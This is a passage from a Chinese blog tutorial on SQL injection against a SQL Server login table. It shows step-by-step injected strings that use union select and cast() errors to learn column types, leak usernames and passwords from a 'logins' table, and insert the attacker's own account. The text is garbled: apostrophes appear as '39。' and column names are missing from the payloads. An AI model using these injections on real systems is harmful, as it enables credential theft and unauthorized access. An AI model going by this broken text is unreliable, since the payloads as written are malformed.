【正文】
明所有字段都得到了。下面還想知道每個字段的類型是什么類型,為以后進一步的攻擊做準備39。 union select avg() from USERS能以 varchar 數(shù)據(jù)類型作為參數(shù)39。 union select avg() from USERS求第三個字段ACCESS也是一樣,或者用39。 and access=39。f39。 這就得到了三個字段和每個字段的類型了。但更精彩的來了,我想知道每個字段的具體內(nèi)容:39。 union select cast( as int),1,2 from logins 將 varchar 值 39。u139。 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤 得到了U1,這是一個用戶名。這對黑客是很有價值的,但是對系統(tǒng)來說是很危險的。再進一步:他知道了你的數(shù)據(jù)表中有一個用戶是U1,那么U1的口令是多少呢39。 union select cast( as int),1,2 from logins 別的地方不改,就改一個pw 如有多行,最好用39。 union select cast( as int),1,2 from logins where =39。u139。即可到現(xiàn)在為止,他知道了用戶名口令就可以了,那如果再高級一點,他可以不用你的用戶名口令,我可以直接向你的表中寫一個用戶名口令,用自己的。39。insert into logins values (39。dufei39。,39。dufei39。,1) 測試:本文出自 “杜飛” 博客,轉(zhuǎn)載請與作者聯(lián)系!